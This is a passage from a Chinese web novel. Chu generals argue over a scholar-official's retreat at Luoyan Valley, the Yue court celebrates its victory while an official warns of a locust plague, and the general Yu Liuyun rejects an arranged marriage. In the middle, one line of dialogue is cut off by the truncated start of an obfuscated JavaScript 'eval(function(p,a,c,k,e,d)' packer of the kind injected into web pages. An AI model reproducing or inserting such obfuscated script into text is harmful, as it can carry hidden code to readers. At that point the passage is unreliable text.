“什么乱七八糟的!”司马非道,“先放开程大人!” 冷千山向那女子使了个眼色,后者就愤愤地收了刀,递还给司马非,同时道:“小女子崔抱月,赣州人氏,原系虎威镳局镳师,乃是平寇将军帐下游击张林的未婚妻。本来我到大堰关来,是打算和我未婚夫完婚,谁知大礼未成,未婚夫便即出征,小女子放心不下,故乔装打扮随夫北上。落雁谷之战,我二人同在第一阵重步兵之中。” 不守妇道,司马非颇为轻蔑地哼了一声。 崔抱月接着道:“两军遭遇后没多久,因为耿将军被敌人杀害,骑兵队伍撤退撞到了步兵队伍中,我方就乱了阵脚。樾寇趁此机会攻了上来,杀了我们不少手足。但是,我未婚夫一直鼓励部下坚持杀敌,直到他自己也负了伤。他知道步兵大概坚持不了多久了,但是也清楚樾寇已经到了强弩之末,于是他叫我拼死杀出重围,请第三阵骑兵赶紧冲锋。”说到这里,崔抱月狠狠地瞪着程亦风:“谁知道,当我杀出去,哪里还见到第三阵骑兵的影子?早就让这狗官带着,跑得无影无踪!” “你一个妇道人家懂得什么?”司马非道,“本将军也都听当时身在耿将军骑兵阵中的馘国皇帝陛下讲述了战场的情形——耿将军指挥不当,造成我方大乱,程大人当机立断,这才保存了实力,若照你说的去冲锋,岂能有此战果?最多不过是两败俱伤,让那个什么玉旒云的部队和我军一起全军覆没而已。” 崔抱月的脸被怒火烧红:“程大人下命令逃跑的时候当然不适合冲锋,但是到我杀出重围时,樾军都已拼到了极限,绝对抵挡不了我军的再一轮攻势!” “这还不是你猜的?”司马非嗤之以鼻。 “不!”崔抱月将手中的钢刀一抖,发出嗡嗡之声,“当时敌将玉旒云为了怕我军幸存部队再杀上来樾军抵挡不住,下令屠杀战俘,以图威慑——我未婚夫……他也在那被俘虏之中。六百多人!如果不是这个狗官带走了第三阵骑兵,此时一拥而上,这六百多名步兵怎么会成为樾寇的刀下亡魂!” “啊——”程亦风惊得张大了嘴,仿佛又回到了血流成河的战场。 “你的未婚夫和那六百余名步兵战士死战殉国,的确可敬。”司马非道,“不过,我还以为程大人当时的决策没有错。如果不是他以退为进,如何能先占领依阕关,又斩杀樾军将领赵临川及其部下,扳回败局?所以……虽然你未婚夫和那其他人被玉旒云屠杀,但也算不得枉死,都是为了程大人后来的这个‘更大的胜利’嘛!” “好一个‘更大的胜利’呀!”冷千山嘿嘿笑道,“程亦风有几斤几两,就算我们几个不知道,司马将军你还不清楚?当初是谁害你丢了平崖城的?十五年前他摆空城计,十五年后他还摆空城计,玩来玩去,只这一点儿手段。什么‘更大的胜利’,我说是‘瞎猫碰着死耗子’!” 旁边向垂杨也来帮腔:“司马将军言语偏袒,莫非真以为程亦风用兵如神,打算将来对樾作战时让他领兵?嘿嘿,若真有那么一天,樾国皇帝恐怕开心得做梦都要笑了!” “你们四个又好到哪里去?”司马非勃然,反唇相讥道,“当时依阕关向我们求援,你们还不是为了‘大局’,打算让依阕关的将士自生自灭?” “话不能这么说!”董鹏枭、鲁崇明都加入到了争吵中来。登时,五个将军面红耳赤,在臧家厢房里争做一团。 崔抱月依然恶狠狠地瞪着程亦风。而程亦风自己也觉得愧对这个巾帼女杰,愧对那被樾军屠杀的六百余名同胞。玉旒云,这个初出茅庐的青年将领居然如此残忍,日后楚樾之争继续下去,又有有多少人殒命沙场?不过,他管不了那么远。他只想承担临阵脱逃的罪名,然后,如果还有命在,就找个安静的地方了此余生。 臧天任走过来将他扶起,不无厌恶地瞥了一眼五位将军,小声道:“老弟,让他们吵去,我们且到别处去清静清静。” 程亦风摇摇头:“我等他发落。发落完了,该掉脑袋该充军还是革职,总算也对前线的亡魂有个交代。” “你这又何必……”臧天任方要劝,又听崔抱月冷笑着开口:“现在倒摆出不怕死的模样,早都干什么去了?你要真想对那些亡魂有个交代,应该入伍为兵,亲自到战场去斩杀樾寇为我死难同胞报仇。” 臧天任虽然不同意以杀止杀以暴易暴,却也不想程亦风消极出世,因道:“补偿的方法有很多种,戴罪立功也是好的,何况,还没人说老弟你这次过大于功啊。” 程亦风仍是摇头,推开了臧天任的手,自己端端正正在地下跪好,只等着司马非等人吵完了,来决定他的生死。 五位将军足争了快一盏茶的功夫,毕竟司马非行伍出身,学问少,不及冷千山等几个都是军官世家,文武兼修,巧舌如簧,不久就没了词,只仗着嗓门大,就嚷嚷道:“你们几个旁的本事没有,就会胡说八道。十五年前樾军攻来,你们都跟着皇上南巡,只留我一个和樾军作战,如今你们还不是一个样儿?口口声声说主战,真打起来时,不知你们一个两个又跑到哪里去!老子看准程亦风是英雄,他就是英雄,你们不服,大家一起到圣上面前去说个明白!” 他咋呼完了,回头一看程亦风正跪着,就吼道:“你这书呆子跪什么?你是落雁谷之战的英雄。你起来。跟我一起回京城去。”说着,也不管程亦风辩解,一把将他拉了起来。“不要一摆一副倒霉相。你要凯旋回京!” “笑话!”冷千山等也不示弱,“落雁谷之战是我楚国之耻,一个胆小如鼠又越权领兵的官员,害得平寇军几乎全军覆没。崔姑娘——”他转向崔抱月:“你未婚夫的仇一定要报。你同我们一起回京城,我冷千山拍胸脯,不仅拿办这胆小鬼,还要把崔姑娘的事迹传遍全军,激励大家舍生忘死,为国奋战!” “哼!”司马非没有其他的词儿了,只能狠狠地把冷千山等人瞪了一圈,然后强把衣冠不整的程亦风拉出了房门。 3. 第 3 章 楚国的将军们需要争论落雁谷的残部是否能算“凯旋”,然而樾军这边并没有如此问题。这次西征除了赵临川阵亡之外,可以说是大获全胜。而整个大青河北方,除郑国还有半壁江山在苟延残喘,已经全部归樾国所有。登基才半年的庆澜帝不仅恢复了父兄在位时的盛况,还将樾国版图扩大了一倍,如此武功实在令人惊叹。这也是后来他庙号为“武宗”的原因。 如果非要就西征的结果有一点争议,那么就集中在“赵临川的死应该由谁负责”这个问题上。刘子飞、吕异坚持认为是玉旒云的错——就算不是因为玉、赵两人之前有不和,玉旒云故意让赵临川去送死,那也是玉旒云计算失误,没能和赵临川一起进军依阕关,使得落雁谷之战没能有一个完美的结局。 他们说这样的话,全然在玉旒云的意料之中。同样也在意料之中的,司徒蒙态度骑墙地和稀泥,既不支持,也不反对。看到这一切,玉旒云只是冷冷地笑着,同时和石梦泉交换了一个眼神:我说的没错吧? 最后当然是西征的主帅岑广出来说话了。这位老将公正严明。他认为,玉旒云能够以少胜多击败耿近仁的大军已经难能可贵。非要疲惫的军队再去依阕关,不仅不近人情,也有违用兵之道。依阕关损兵折将纯属赵临川自己判断失误,与人无尤——就算他侥幸从依阕关生还,也要被面对兵部的审查。既然已经阵亡,这事就不必再追究下去了。 他这样一“定论”,司徒蒙就立刻倒到他这边来了,愿意执笔写战报。此捷报八百里快马送回樾国西京,庆澜帝不久就有圣旨传来:凡参加西征之将军,加俸两千石,赵临川之份作为抚恤,发与妻儿。馘国地方改为西方六省,以岑广为总督。岑广加太子太保衔,进正一品。玉旒云、石梦泉在落雁谷表现英勇。进玉旒云为一等公,石梦泉为将军。全军将士除岑广及其部下就地留驻之外,刻日回京受赏。 刘子飞和吕异无法不服岑广,但是玉旒云封了公爵,显然庆澜帝觉得其功劳在旁人之上。他俩都恨得牙痒痒的:“连石梦泉这应声虫都进封为将军,可见是皇后娘娘吹的枕边风——这两个小子得势,将来岂有我们的立身之地?”司徒蒙笑着搀和:“何必争在一时?将来见真章的机会还多着呢!” 不论是怀着怎样的心情,樾国西征部队在六月中回到了西京。在城外由礼部正式犒劳、封赏之后,低级军官和士兵安营休息,三品以上武官进宫领庆澜帝的庆功宴。 按照规矩,面圣之前是不能回家的,所以众人都还是风尘仆仆的模样。但饶是如此,石梦泉看了看玉旒云——依然是那黑白分明,纤尘不染。风吹开了夜一样黑的披风,露出腰间那象征御前一品侍卫的明黄色腰带,正如乌云里透出的月光,叫人无法把视线挪开。 宴开无极殿,之前这些功臣要经过太极、天极两大殿。文武官员都列在这禁宫中轴线的两侧,夹道欢迎。刘子飞、吕异和司徒蒙都暂时把自己心里的小算盘抛来,拿出最威武的神气,让旁人瞻仰。而玉旒云只是看着三大殿次第辉煌的灯火——屋宇错落,飞檐将天空割得支离破碎,然月光还是平滑圆满的,与灯海交接,台阶甬道都流光溢彩。 难得有空闲欣赏美景。年轻的将军回头看看风雨相伴的好友。而石梦泉只是笑笑——在他眼中,玉旒云就是全部的风景了。 到了无极殿前,庆澜帝端坐在上,玉旒云就率先走了上去:“臣,玉旒云叩见圣上,吾皇万岁,万岁,万万岁。”石梦泉、刘子飞、吕异和司徒蒙紧随在后。刘子飞、吕异如今和“玉旒云的应声虫”平起平坐,心里别扭无比。几人各是各的表情,口称万岁自然各是各的声调。 “众卿平身。”庆澜帝呵呵笑道。他三十五岁,正是盛年却有些发福,配上笑呵呵的表情,仿似一尊弥勒佛。“爱卿们这次出征,荡平周边蛮荒小国,扬我大樾国威、军威,朕心甚慰。一统江山是太祖、太宗皇帝的愿望,如果能在朕治下实现,朕也就算对得起列祖列宗了。” 这都是场面话。诸位将军无不表示愿意为国效力,抛头颅、洒热血在所不惜。列席的各位亲贵以及各部尚书——尤其兵部尚书也都说:“皇上洪福齐天,必然能够扫除所有不臣之邦。” 客套完了,庆澜帝才看向了玉旒云,笑道:“玉爱卿,听说你以少胜多,将楚国平寇将军斩杀阵前——你自己可有受伤么?” 这已经是“家里人”的话语,周围的大臣们都露出了些许不屑的神气。 玉旒云却冷冷的,没有一丝表情地道:“托皇上的洪福,微臣毫发无损。其实楚国鼠辈早在十五年前就向我大樾称臣,后来竟然敢撕毁和约拒缴岁贡,实在天理难容。先帝对他们太过姑息,才令其嚣张不已。如今他们知道圣上会追究此事,未开战,士气已短了三截,待到交锋之时,即不攻自破。” “玉爱卿太过谦了。”庆澜帝笑着,摸了摸光滑无须的下巴,“你足智多谋,骁勇善战,楚国是听到你督军才吓破了胆,朕可没本事让他们害怕呢!” 此话像是自谦,像是谈笑,又像是话中有话地责怪玉旒云功高盖主。许多官员都忍不住偷眼看玉旒云和庆澜帝的表情——前者深深垂着头,脸都藏在阴影里,后者笑意融融,决不似有半点讽刺之意。怎么会是责怪呢?众人心里不约而同地想,玉朝雾皇后宠冠六宫,皇上几乎是“挖空心思”封赏玉旒云哩。 果然,庆澜帝又补上了一句:“没受伤就好,否则皇后可要跟朕没完了。不过,朕早就跟皇后说,玉爱卿出战,没有打不赢的仗。” “是皇上天威所致。”玉旒云顿首,“并有诸位将军鼎力相助,士卒奋勇拼杀,微臣方侥幸获胜。皇上如此过誉,微臣惶恐。” “哈哈。”庆澜帝还是笑,同时向石梦泉招了招手,道:“石爱卿,以前你在朕身边做侍卫,朕只知道你身手了得,却不知道你也会运筹帷幄。当初你要和玉爱卿一同外放,朕还只当你们是小孩子一起玩惯了,舍不得分开呢。只想,你去保护玉爱卿的安全也好。直到朕听说在落雁谷是你请求援军,这才能够及时攻占依阕关,不让楚国余部登陆。朕这才知道玉爱卿说你‘有如臂膀’,果然不假。” 不经意中,竟然提到了赵临川的事。石梦泉心下一惊,恐怕刘子飞等人又要作怪。 果然,吕异叹息了一声:“可惜,赵将军为了攻占依阕关已经为国捐躯。几十年老友,唉……” 刘子飞接上他的话茬儿:“请万岁恕臣等无状。臣等今在此庆功,赵将军却埋骨他乡,臣伤心啊……”说着,还真拿袖子擦了擦眼睛。 玉旒云无声地冷笑,看了看石梦泉,仿佛说:鬼晓得他袖子里有没有藏生姜? “庆功嘛,不要说这么扫兴的话。”庆澜帝道,“赵将军为朕尽忠,朕不会忘记他的。他如今也不算是埋骨异乡——你们不要忘记,那里已经不是馘国,而是我大樾的西方六省。” “万岁圣明!”周围的亲贵大臣们齐声道。刘子飞、吕异悻悻地,只好不再提。 “开筵吧。”庆澜帝说着,招手叫玉旒云到自己身边。自有太监从殿外捧着小几鱼贯而入,四品用莲花几,从三品、三品用菊花几,从二品、二品用梅花几,从一品、一品用牡丹花几,公侯伯子男及众王爷用麒麟瑞兽几,各各不同。后又有宫女捧上酒食来,醴酪琼浆,珍馐满席,不可赘述。 而正在大家开始举杯同庆的时候,玉旒云忽然注意到殿外台阶之上不知何时跪了一个人,双手捧着一件事物,高高举过头顶。“万岁,好像有人有事禀报。” 庆澜帝才也发觉了,问太监道:“那是什么人?怎么拣这时辰跪在那里?” “回万岁爷的话,”太监道,“那是户部侍郎顾长风。方才他从文官的队伍里走了出来,要觐见皇上。奴才说这不是时候,他却一定要跪在那里听宣。奴才也没有办法。” “赶走。”庆澜帝怒道,“他这是威胁朕么?真不像话!” “万岁,”玉旒云知道顾长风为人敢言直谏,与朝中不少大臣结下私怨,连太监都因为他不肯贿赂而十分讨厌他,不过确实是个不可多得的人才,因道:“顾侍郎既然不管时辰要禀奏此事,看来关系重大。庆功宴算得什么呢?万岁想要喝酒,臣随时都可以奉陪。” “好吧。”庆澜帝不快地摆摆手,“叫他进来。” 太监遵旨而去,片刻,顾长风就进了大殿,行了三跪九叩之礼,接着道:“臣有一物想献给万岁。”他双手举着,大家这时可以看清,那原来是一个普通的盒子。心下都奇怪:“不知顾长风搞的什么花样?” 太监接过来,打开了,呈给庆澜帝。玉旒云就在皇帝身边,所以看得分外清楚——那是一团泥土。 “顾爱卿,这是什么意思?”庆澜帝语气中掩饰不住的厌烦。 “回万岁,”顾长风道,“这不仅仅是一团泥土,里面有蝗虫卵。过去五年来,南方七郡雨水充沛,以历年《灾异志》的记载来推断,今年极可能暴旱,而同时则可能有蝗灾。南方七郡向来是我国粮食之所依,一旦化为白地,人民便将流亡北方,且北方米价势必哄抬十倍……” 不待他说完,那边户部尚书陈清远已经不耐烦了:“顾侍郎,农耕和赈灾都是户部职责。蝗灾这种事,你应该先写条陈,给老夫看过了,再依规矩禀奏给皇上。你如今闯上大殿来,你眼里还有皇上么?还有规矩么?”骂完,又对庆澜帝道:“万岁,是臣理教下属无方,请万岁恕罪。” 顾长风却丝毫没有被震慑住,反而声音更加响亮了:“不错,臣是无状,冲撞了万岁,破坏了万岁和各位将军庆功的雅兴。但是臣并不是眼中没有规矩——臣从正月里就开始写条陈叙述治蝗之事,可是陈大人你一次也没有回复过。臣不得已,才闯上无极殿。” 陈清远知道自己的这个下属有牛脾气,但是万没有想到他竟敢在皇上和众位亲贵大臣面前顶撞自己,不由怒道:“事情总有轻重缓急,这半年来,户部最紧要的事就是会同兵部为东征西讨的大军提供粮草。莫非你觉得你的治蝗良策比万岁的一统大业更重要吗?”边说,边看了看身边的兵部尚书马珏,以求支持。 顾长风依然没有被这斥责吓退:“一统大业?臣请问万岁,是一统大业重要,还是‘天下’重要?” “放肆!”庆澜帝虽然是个“笑弥勒”也没有被臣子这样质问的,一指头顶的匾额,道:“朕登基之时,手书‘天下’二字就在此处,顾爱卿何出此问?” 顾长风道:“陛下手书之‘天下’二字何止悬在这无极殿中,也悬在臣的心里。然陛下可知,‘天下’与‘一统大业’并不相同?” 这说法倒有意思!石梦泉看了看玉旒云,后者也显出饶有兴致的样子。 “有什么不同?”庆澜帝问。 “如果陛下只是想着‘一统大业’,那么您挂念的只是山川。现在最紧要的当然是消灭苟延残喘的郑国,然后兴兵远征,攻打楚国。”顾长风道,“可是陛下若惦记的是‘天下’,则山川之外还有百姓。陛下自去年十月登基以来屡发大军,乡间十室九空。如今正是农忙时节,眼看着又会有旱灾、蝗灾。若陛下不使士兵解甲归田,却只是惦着远征,则粮食必然欠收,百姓必然怨声载道。请问,天下何存? “啪”庆澜帝拍案震翻了金爵:“大胆!什么叫‘天下何存’?” 群臣也都惊得鸦雀无声,不过旋即又嗡嗡地责备起来,道:“这时候跑来说扫兴的晦气话,顾长风是活得不耐烦了么?赶紧磕头谢罪吧!” 可顾长风就是活得不耐烦了,昂首直视着庆澜帝答道:“斩草为兵,揭竿为旗,一人呼而万人从焉。” “放肆!”大嗓门的滕王喝道,“说出如此大逆不道之话,还不快快拿下了?” 左右早有带刀侍卫跃跃欲试,听言快步上前来押顾长风。 石梦泉心提到了嗓子眼儿,却听一声冷冷的“慢着”,正是玉旒云发了话。 “万岁,顾大人心系百姓,才会触怒陛下。今日既然是庆功宴,而微臣也总算是个功臣,可否请陛下看在微臣的薄面,对此事免于追究?” “这……”庆澜帝的面色稍稍缓和了些,“既然是玉爱卿你开了口,便饶他一次。只是他太过扫兴,朕不想看到他。”说着,示意侍卫将顾长风轰出去。 “不,陛下!”顾长风挣扎着甩脱侍卫,“玉将军能征善战,陛下宠爱玉将军自然无可厚非。但陛下若是对玉将军言听计从,武夫当道,势必会给国家带来灭顶之灾啊!” 虽然点了玉旒云的名,但是把所有的武将都斥骂内。连马珏这不领兵的人都听不下去了,喝令侍卫道:“你们没听见万岁爷的旨意么?还不把他拖出去?” 侍卫们应声而动,将顾长风拉出了无极殿。起先他还高声嚷嚷,后来殿中鼓乐渐响,那“不可远征,不可远征”的呼声便淹没在黑夜里,终于不可闻。 殿上的众人这才得以重新举杯庆祝胜利。舞娘们也踏乐而来,表演婀娜与刚健并存的《破阵舞》,欢庆的气氛很快就把顾长风引起的小小风波掩盖了过去。只是“蝗灾”二字始终是石梦泉的心头萦绕不去——他的家乡在南方七郡的贺城县,十五年前,正是因为飞蝗蔽天,集树折枝,杀稼殆尽,他家乡的百姓流离失所,母亲万般无奈之下才带他来京城投亲——蝗灾,那是多么可怕啊! 不过,也是亏得投亲,他才能结识玉旒云,这个他愿意为之付出生命的人。 玉旒云方才为顾长风求情,却不知对治蝗一事有何看法?从舞娘们飞旋身影的空隙里,他求索了玉旒云的目光,惊讶地发现,这年轻的将军脸色铁青。 怎么了?他乞求一个眼神的交流。不过玉旒云并没有看他,只是愕然地望着庆澜帝,后者面上笑盈盈的,满是喜气。 “陛下说笑了。”他听见玉旒云这样说。 “怎么会呢?”庆澜帝笑道,“君无戏言,况且你今年也有二十三岁了吧?” “臣的心中只有万岁的天下。”玉旒云冷然答道,“除此之外,臣的心里再也放不下其他。” 庆澜帝呆了呆,摇头道:“唉,朕不同你说了,等你姐姐来和你讲吧——喝酒,喝酒,呵呵!” 究竟在说什么呢?石梦泉终于捕捉到玉旒云的目光,只是玉旒云飞快地转过头去了。 次日一清早,石梦泉正在临时的将军府演练枪法,便有门子匆匆来报“玉将军到了”,话音未落,已见玉旒云一身便装走了进来——脱下战袍,青衫纶巾,连神气都轻松了许多。 “走走走!”石梦泉还不及见礼已被抓住了胳膊,“和我见姐姐去,她的小厨房里一定给咱们准备了很多点心。” “等,等一等……”石梦泉把银枪交给门子。 “怎么?”玉旒云朝他一笑,“你还怕姐姐见不得你一身臭汗?别忘了你娘也在那边呢,她也有好几个月没见你了吧?” 石梦泉哪里听到后面的话?只见了青空般的笑容就头脑一片空白,接过仆人匆匆递来的一件罩衫,就和玉旒云同往凤藻宫来。 凤藻宫是后宫中宫,位在天极宫之后,东临仪鸾殿,西靠养晖殿,往后过贤德门即入御花园。其正殿屋脊上竖有一只金凤凰,四方飞檐上分别雕有二十只不同的飞禽,取“朝凤”之意,象征皇后母仪天下。 玉旒云和石梦泉来到凤藻宫前殿门外,便见石梦泉的母亲王氏——现在也在宫内做女官的,以及姑母石氏立在门外迎接。这两位半百妇人都是玉、石二人年少时撒娇的对象,二人一时见了,都欢喜万分,快步走上前去。 但不想前殿中忽然走出一个华服男子来,对二人笑道:“玉将军,石将军,怎么这么迟才来给皇后娘娘请安?” 二人定睛一看,见来人是庆澜帝的十四皇弟翼王。此人仗着自己和皇帝一母所生,行为无所顾忌,斗鸡走狗,赌博狎妓,无所不好,然偏偏还有三寸不烂之舌,见人说人话,见鬼说鬼话,是以庆澜帝总是被他蒙在鼓里,以为他很是规矩。玉旒云和石梦泉对他都万分的厌恶,向日并无交往,一时遇见,只勉强行礼敷衍。 然翼王却哈哈大笑着朝二人走近过来,道:“何必多礼呢,二位将军?”二人皆不理会,做出一副垂首恭送的模样。翼王不是傻子,有些尴尬了,可还是笑道:“二位将军想必是军务繁忙,不比小王啊。改日小王做东,请两位将军过府饮宴吧。” “不敢叨扰。”玉旒云冷冷道。 “要的,要的。”翼王笑着。石梦泉感觉他的目光紧紧地停留在玉旒云身上,仿佛想化做一把钩子,把玉旒云的头抬起来一般。但玉旒云正如千年不化的冰峰,只发出一股子冷气。 翼王终于无趣地走开了,石氏和王氏才笑盈盈从上面迎下来,道:“怎么才来,皇后娘娘等了半天了。”自把二人向正殿里引。 到了正殿内,扑面而来是一股淡雅的清香,八个宫女分两列侍立,居中一扇贝雕白孔雀大屏风,玉朝雾皇后就端坐在前面的秀榻上。她有三十多岁的年纪,并不是十分的美艳,然而雍容端庄,面上更有一种温和的光彩,叫满屋子摆设的奇珍异宝都黯然失色。 “臣……” 玉、石两人正要行礼。玉朝雾已从榻上走了下来,连鞋子也不及穿上,一把将玉旒云拉住,道:“你可回来了,姐姐不知有多担心,日日夜夜都在佛堂给你们祈福——”又转头向石梦泉道:“你怎么还在这里愣着,你母亲、姑母都惦记你得紧,还不快快和她们问安!” 原来樾国礼法甚是严格,君臣之礼尤为纲常之首。石梦泉的亲人既在皇后处当差,他不先给皇后请了安,是不能随便同母亲叙旧的。此时听到玉朝雾下了如此懿旨,他忙和母亲、姑母一一问好,但并不敢逾矩,问好后还是侍立在一旁。 玉朝雾笑道:“才几个月不见,梦泉怎么拘束起来了?我这里不比别处,你处处代我照顾云儿,我看你也好像自家兄弟一般。” 石梦泉忙道:“微臣不敢。” 王氏和石氏也道:“梦泉那里照顾得好了?看玉将军瘦成这样,皇后娘娘又该心疼了。” “哪有?哪有?”玉旒云孩子气地嚷嚷,“梦泉才又黑又瘦哩!” 一时几人都笑了。玉朝雾道:“省得大家立规矩,都上后殿去吧,让她们撤了,把午膳开上来。”因自携了玉旒云的手向后殿走,其他宫女一个也不要,只让王氏与石氏陪了石梦泉一同来。 到了后殿内,便见陈设与正殿全然不同,珍宝古玩一样也没有,唯有一张琴,几架书,连帷幔也是素色的。此乃皇后平日起居之处,可知玉朝雾皇后是个朴素之人。 玉朝雾同玉旒云在榻上坐了,又让石梦泉及王氏、石氏也坐。三人谦让再三,晓得皇后的脾气,且毕竟有十几年的交情了,无外人在时,亲如一家,便也都在下首的椅子上坐了下,听玉旒云向姐姐把远征的见闻经历一一道来。王氏、石氏不时地夸赞“玉将军果然不同寻常”,而每每讲到惊险之处,玉朝雾皇后总还要询问玉旒云和石梦泉两人受伤没有,二人自然笑着否认,更把敌军的将领拿来打趣,十分默契。 未几宫女送上午膳,都是特地吩咐小厨房准备的食物,有些还是王氏及石氏亲自下厨。玉旒云喜爱甜烂之食,故枣泥、细沙、莲蓉的精细点心摆满了一桌。不过细心的玉朝雾皇后也未忘记石梦泉的口味,来自他南方家乡的茶酥便特特地放在他跟前。石梦泉心里一阵暖意,再看看母亲慈爱地坐在一边,几乎忍不住要掉下泪来。 饭毕上了茉莉香片茶,此时远征的故事也讲得差不多了。按宫里的规矩,皇后该歇午觉。可是玉朝雾皇后拉了玉旒云的手道:“云儿,姐姐有话同你讲,你跟我进来。”说着便把玉旒云带到暖阁里。 这倒有些不寻常。石梦泉想,素来皇后和他们都是无话不谈的……不过……他忽然记起了前夜庆澜帝那句“等你姐姐来和你讲吧”——是什么事?玉旒云凡事向来不瞒他的,惟独这次,宴会散后也只字未提。 是什么事? 他正狐疑,便听暖阁里玉旒云叫道:“做梦!做梦!想也别想!”从声调听来,显然是生了很大的气。 究竟是怎么了?他询问地望向母亲和姑母。 两位妇人都露出了愁容。石氏道:“皇上叨念了很久了,要给玉将军指婚。” “什么!”石梦泉险些从椅子上跳了起来,“指……指婚?” 石氏道:“是啊。昨儿个皇上和玉将军提起了,玉将军不肯答应,皇上便来叫皇后娘娘相劝呢。” “这……这……”石梦泉只觉自己的脑袋嗡嗡作响,“怎么会……怎么会突然想起来指婚……怎么会……” 石氏低着头不看他,自道:“不是突然想起……按说,玉将军也不小了,难道还能一辈子这样下去?毕竟……毕竟……” “毕竟你是个女儿家呀!”暖阁里传来玉朝雾皇后几近哀求的声音,“云儿……” “不要说了!”玉旒云激烈地打断,有什么东西被带翻了,发出一阵破碎的声音。“自从拿起了这柄剑,我就没打算再放下。我这一辈子都不是女人了!” “你这又是何苦呢……”玉朝雾的声音里带着呜咽。 何苦?石梦泉也不知道。他只知道她是他存在的唯一意义。可是——他心如刀绞——指婚,怎么会闹出指婚的事来? “我听说……”石氏嗫嚅着,“这事儿是翼王同皇上提起的,所以皇上的意思,翼王爷同玉将军年纪相当,可作首选……不过,也要看玉将军自己的意思……” 翼王?石梦泉捏紧了拳头:难怪方才在前殿有那么暧昧的眼神。 “他想也不要想!”玉旒云咆哮道,“那种混帐,我不刺他几剑已经算他走运了!” “云儿……”玉朝雾的声音哀怨而无奈,“毕竟那是皇上的亲弟弟……况且皇上也说了,满朝文武、亲贵大臣,随便你挑……” 随便挑……石梦泉的指甲陷进了掌心里,痛入骨髓。 “娘还能不知道你的心事么?”王氏终于开了口,声音低得几乎不可闻,“可是,玉将军是什么出身,你又是什么出身?这是……不可能的啊。” 我知道。石梦泉在心里说,我从来就知道。她不是我的玉旒云,可我永远是她的石梦泉,只要是为了她,刀山火海我也不怕……只为达成她的愿望,只为她真心的一笑……我算得什么,她根本不必知道! 想到这里,他深吸一口气,缓和了面上的神色,冲母亲笑道:“娘,你想到哪里去了?玉将军和儿子一处长大,每每有亲贵子弟欺负儿子,都是玉将军为儿子出头。儿子能有今天,都是玉将军的提携。她是儿子的恩人……说句最不知高下的话,皇后娘娘待儿子如兄弟,儿子也视玉将军为手足。玉将军若是能夫妻和美,儿子只会替她高兴。” “你……”王氏将信将疑地看着儿子。 “儿子几时和母亲说假话了?”石梦泉把话题从自己身上引开,“只是翼王爷他……” “不用再说了!翼王根本就是混帐王八蛋!”玉旒云怒气冲冲地从暖阁里奔了出来,“姐姐休息吧——梦泉,咱们走!”说完,根本不顾后面玉朝雾皇后泪眼婆娑,也不理会石氏、王氏,径自闯出门去。 石梦泉也只有匆匆行礼告退,追了出来。 玉旒云在前面头也不回疾行如飞,只片刻的功夫便离开了凤藻宫,进入了无极殿的地界。按禁宫的规矩,非皇帝特诏,常人不可进入由天极、太极和无极组成的中轴线,只可从外围的步道绕行。违者将治僭越之罪,刑罚可至圈禁,甚至凌迟。 石梦泉见玉旒云脚步不停地直闯向正德门,连忙一把将她拉住了,道:“将军,去不得!” 玉旒云先还挣扎了两下,接着才仿佛清醒了,生生立住。她的肩膀颤抖,显示她的情绪还相当激动。不过石梦泉知道,她总能很快冷静下来。 果然,当她转过身的时候,面上已经恢复了冷淡的表情,和战场上一模一样。 “长久不进宫,走路竟然犯糊涂。”她自嘲道,“不过你猜我这样闯进去,究竟会不会被治罪呢?” 石梦泉答不出来。 玉旒云自冷笑道:“我倒很想看看谁敢治我的罪。” 石梦泉愕了愕,想提醒她不要找些无谓的麻烦,然而玉旒云已走上了步道,他便跟了上去。 两人都是默默。石梦泉很想找些话题来缓和下气氛,但是“翼王”、“指婚”就像是石头一样重重地压在他心里,让他觉得不仅心情沉重,连步子都迈不开。 最终还是玉旒云先开了口:“满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玉旒云皱起了眉头:“照这样说,凡遇灾异,只要祭祀求神就能解决,还要你们这些朝廷大臣做什么?” 顾长风一愕,面上露上一丝笑意,道:“本来以五行论灾异,是史家之笔。而后世数术之士兴,而为灾异之学者务极其说,至举天地万物动植,无大小,皆推其类而附之于五物,曰五行之属。谓人禀五行之全气以生,故于物为最灵。其余动植之类,各得其气之偏者,其发为英华美实、气臭滋味、羽毛鳞介、文采刚柔,亦皆得其一气之盛。至其为变怪非常,失其本性,则推以事类吉凶影响,其说尤为委曲繁密——说穿了是一句话,强词夺理。” 这下玉旒云也忍不住笑了。 顾长风又接着道:“只是,王者之有天下,应顺天地以治人,取材于万物以足用。若政得其道,而取不过度,则天地顺成,万物茂盛,而民以安乐,谓之至治。反之,若政失其道,用物伤夭,民被其害而愁苦,则天地之气沴,三光错行,阴阳寒暑失节……” “这说法就不是强词夺理?”玉旒云不解。 “将军请听顾某说完。”顾长风合上书册,“天人相感,不是字面的解释。这所谓的‘天’,是‘道’,乃是人力所不可违抗。将军试想,大青河发源于雪山,自西向东而入海,将军能使她逆流吗?” 玉旒云想了想,道:“虽不可逆流,但史上曾有记载,在攻打紫印关的时候,太祖皇帝在大青河上筑起一道水坝,使……” “使冀州段河水逆流,将军好记性。”顾长风打断,“可逆流的结果是什么呢?紫印关攻下了,但冀州被水所淹,葬身洪水的百姓不计其数。河畔的叠翠山山体下滑,洪水由隘口处流出,又淹没了魏州。更加,大青河从此改了道,几乎年年在冀州段和魏州段泛滥,朝廷每年都要征发大量民夫修筑堤防,耗费人力、财力无数。” 玉旒云和石梦泉互望了一眼:素来只关心用兵的他们,从没有想到紫印关之战的后果。 “今日将军来问蝗灾,也是同样的道理。”顾长风又取出了一册书,乃是一本樾国的图志。他翻开其中一页,指给玉旒云和石梦泉看:“南方七郡在大青河畔,太祖皇帝立国之初只有三郡,是大片的草场,北部边缘为森林。后来太祖皇帝奖励农耕,那里的百姓就弃牧而农,并且砍伐焚烧森林作为田地。森林中原有百鸟,鸟可食虫,是蝗蝻天敌。太祖时虽然年年有蝗灾发生,但因森林尚存,故不足为害。如今森林已毁坏殆尽,鸟兽迁居他处,蝗蝻怎不肆虐?” 玉旒云盯着那地图,道:“这西部临近东京的地方,不是还有树林么?” “本来是有。”顾长风道,“只是今年以来,造攻城车、云梯车等物,已经都砍去了。据古籍记载,蝗虫喜爱在草木毁坏,人迹罕至的河滩、湖沼荒地、山坡岗丘的荒野产卵及为巢穴。我军连月来战无不胜,攻无不克,却给蝗虫开辟了大片领地。且森林毁坏后,雨水多减少,今年一旦大旱,蝗灾决难避免。” 石梦泉赶忙问道:“倘若发了蝗灾,顾大人可有良策治蝗么?” 